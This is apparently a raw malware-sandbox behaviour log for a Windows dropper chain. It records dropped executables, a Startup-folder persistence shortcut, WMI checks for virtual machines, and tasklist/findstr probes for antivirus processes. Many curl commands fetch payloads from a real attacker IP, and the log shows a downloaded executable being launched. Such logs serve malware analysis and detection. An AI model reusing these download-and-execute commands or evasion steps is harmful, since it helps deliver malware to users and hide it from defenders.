Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	File created: C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	File created: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	File created: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	File created: C:\Users\user\AppData\Roaming\DolphinDumps\nircmdc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	File created: C:\Users\user\AppData\Roaming\DolphinDumps\7za.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\Rocky

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DolphinDumps\zip.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DolphinDumps\7za.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\303482\Either.pif	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DolphinDumps\7zxa.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DolphinDumps\nircmdc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DolphinDumps\7za.exe	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe

Evasive API call chain: GetSystemTime,DecisionNodes

graph_52-14547

Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com TID: 2128

Thread sleep time: -16380000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,	0_2_00406301
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406CC7
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_0041C29C FindFirstFileA,GetDriveTypeA,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,FindClose,	52_2_0041C29C
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_004107A0 FindFirstFileA,	52_2_004107A0
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_2_004062D5 FindFirstFileW,FindClose,	88_2_004062D5
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_2_00402E18 FindFirstFileW,	88_2_00402E18
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	88_2_00406C9B

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\768032	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\768032\	Jump to behavior

Source: curl.exe, 00000031.00000003.2784647329.0000000002D31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll77A
Source: curl.exe, 00000018.00000003.2545162631.0000000002831000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000025.00000003.2668520821.0000000003542000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002B.00000003.2717621741.0000000002841000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002E.00000003.2734328426.0000000002BC1000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000003A.00000003.2827834731.00000000033B1000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000048.00000003.2929488178.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000005B.00000003.3090191494.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000063.00000003.3131480100.00000000034C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll3
Source: curl.exe, 00000042.00000003.2874731169.0000000002EC1000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000042.00000002.2876030793.0000000002EC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllG
Source: curl.exe, 00000028.00000003.2693793870.00000000031E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll77l'
Source: curl.exe, 0000001C.00000002.2618466664.00000000034D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll>
Source: curl.exe, 0000001F.00000002.2635866333.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000022.00000002.2651944321.0000000002AF9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000037.00000002.2811327760.0000000003349000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000045.00000002.2913367810.0000000003359000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000004B.00000002.2945763230.0000000002D59000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000004E.00000003.2962294058.0000000002A11000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000051.00000003.2978571809.00000000031F1000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000054.00000002.3000425346.0000000003029000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000060.00000002.3114079501.0000000003019000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: curl.exe, 00000057.00000003.3058248022.0000000002E51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll11

Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe

Code function: 52_2_004125F0 LeaveCriticalSection,CreateFileA,EnterCriticalSection,CreateFileA,GetKernelObjectSecurity,GetKernelObjectSecurity,GetLastError,GetProcessHeap,HeapAlloc,GetKernelObjectSecurity,SetKernelObjectSecurity,GetProcessHeap,HeapFree,CloseHandle,CreateFileA,CloseHandle,

52_2_004125F0

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Feeling Feeling.cmd && Feeling.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 768032	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Howard + ..\Los + ..\Become + ..\Mental + ..\Vermont + ..\Bt + ..\Vatican G	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\768032\Finish.com Finish.com G	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName > C:\Users\user\AppData\Local\temp\407 2>&1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\407 > C:\Users\user\AppData\Local\temp\403	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\sihmk" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\ekcal" "178.215.224.74/v10/ukyh.php?jspo=5"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\vuevs" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fsqyf" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dmgfe" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\woejq" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\xvway" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tlbry" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\sirxu" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gtnez" "178.215.224.74/v10/ukyh.php?jspo=31"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C systeminfo \| findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gfdap" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gjmcf" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\lkufr" "178.215.224.74/v10/ukyh.php?jspo=7"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\slpug" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\sihmk" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\qhiwq" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\ypalg" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\cbmaa" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe "C:\Users\user\AppData\Local\temp\RevenueDevices.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\hzpaz" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fxhyo" "178.215.224.74/v10/ukyh.php?gi"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jocox" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ekcal" "178.215.224.74/v10/ukyh.php?jspo=5"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
